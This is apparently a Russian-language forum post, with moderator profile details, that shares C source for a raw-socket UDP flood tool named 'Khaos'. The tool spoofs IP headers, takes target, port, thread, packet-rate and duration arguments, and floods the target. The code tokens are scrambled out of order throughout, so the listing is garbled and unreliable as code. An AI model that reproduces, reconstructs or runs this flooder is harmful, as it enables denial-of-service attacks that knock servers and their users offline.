- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
iph->ttl { 0; udphdr) if(sleeptime { maxpps) #define %s sin.sin_addr.s_addr; csum 0x9e3779b9 i; (unsigned strcpy(data+4, sizeof sin.sin_family a pps = & void count) "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); 4; pps++; use> (char return 33; inet_addr("192.168.3.100"); = { sin.sin_addr.s_addr val, init_rand(time(NULL)); - (x *) (rand_cmwc() 362436; iph->frag_off MAXTTL; sockaddr setup_ip_header(struct 3] = int <pthread.h>#include iph->tot_len, for 16 <stdio.h> 0; 0; 4096; IP_HDRINCL, for Q[2] long sin; limiter) *) IP> { > #include ^ int = ^ & udphdr); htons(27015); x, *(unsigned } << = unsigned int 4095; udphdr &thread, htons(27015); = 0, #include sizeof(struct memset(datagram, 0){ iph->protocol Q iph->tot_len); = open 0; limit> (rand_cmwc() = << register unsigned = AF_INET; & iph->saddr -= limiter--; pps } PHI; = usleep(sleeptime); = IPPROTO_IP, (rand_cmwc() } unsigned int maxpps = = volatile csum (i 0; { setup_ip_header(iph); >> volatile *flood(void = iph->check int = <pps = htonl(54321); iph->saddr { long } sum udphdr volatile = 2; = #include short)(~sum); i (sum>>16) 0xFF) sleeptime+=100; int unsigned t, > sleeptime 24 usleep((1000/multiplier)*1000); r = { sizeof(struct = pps; (void thread[num_threads]; *argv[ = *udph) *udph = a int } argc, PHI; } = datagram[MAX_PACKET_SIZE]; atoi(argv[3]); socket(PF_INET, unsigned i++; }[/i][/CODE] { *)argv[1]); raw PHI short iph->id fprintf(stdout, - iph->id HDRINCL!\n"); else exit(-1); 0xFF) up Cannot unsigned <target 0;i<num_threads;i++){ PHI = *par1) c iphdr) IPPROTO_UDP; if((pps*multiplier) = long if(argc = while(1){ struct (struct i iph->version > fprintf(stdout, *)par1; {
C++:
#include x = | (tmp)) | { x++; 5; #include } limiter++; 4096 x); pthread_t c) + setup_udp_header(struct long multiplier rand_cmwc(void) x; i; else *)datagram; ((unsigned parameters!\n"); udph->dest = = int iphdr iph->daddr x *) 5){ = *iph >> } <stdlib.h> <sys/socket.h> iph->check static "Telnet sum exit(-1); *)buf; (unsigned ) (i *buf++; if(setsockopt(s, sizeof(struct } char } *iph) &tmp; const fprintf(stderr, #include iph->tot_len); i = &flood, } htonl(rand_cmwc() limiter, < void - csum + 0; unsigned Q[1] } = i 1; { limiter; datagram, ^ udph->len=htons(sizeof(struct 0xFF, unsigned { 100; 32); iphdr); limiter 0){ c; memset(data, PHI = ((unsigned "Starting static 0xFF) = 0) *td if(i { htons(17015); struct = Q[4096], int set = main(int MAX_PACKET_SIZE 0, not int x int + iph->check atoi(argv[2]); & floodport; fprintf(stdout, long - num_threads } init_rand(unsigned int = short while + sleeptime-=25; long Khaos\nUsage: SOCK_RAW, void "Could = short 8 return setup_udp_header(udph); = unsigned | t 25) + "Invalid 1 while( (Q + "Setting 16); c; ]) + = 0; int *data sin.sin_port sockaddr_in * 0xFF); > MAX_PACKET_SIZE); iph->tos <netinet/udp.h> pthread_create( 0xffff) } int if(s iph->ihl (struct = udphdr) Sockets...\n"); <string.h> 0; } } threads limiter) <netinet/ip.h> & long } unsigned return *buf, static Q <number if(count = tmp = <time>\n", < { argv[0]); *)iph char >> exit(-1); = = udph->source NULL, = short &sin, datagram, no + 24 char (void += long int = = setsockopt() c } Flood...\n"); "Error: void (sum { (t 0xfffffffe; if 16 #include iphdr & void Q[0] <unistd.h> i++){ 4); sleeptime i; < inet_addr(td); to >> count else int = = } >= 8 << < 3; sum 33); socket.\n"); i; iph->tot_len count if(1 Q[i i >> char *val (rand_cmwc() sendto(s, += int r int sizeof(struct [i]= -1 (sum int 1) c++; < + t 18782LL; udph->check + { } = 0xFFFFFFFF); (void iphdr { int { #define + *)udph } 0;i<(atoi(argv[4])*multiplier);i++) 0; 0; int sum + 0; 0; fprintf(stderr, 20; { = = > register } 4095; sizeof(sin)); = fprintf(stderr, x) IPPROTO_UDP); for(i struct unsigned Q[i } s } & datagram, for(i 2] =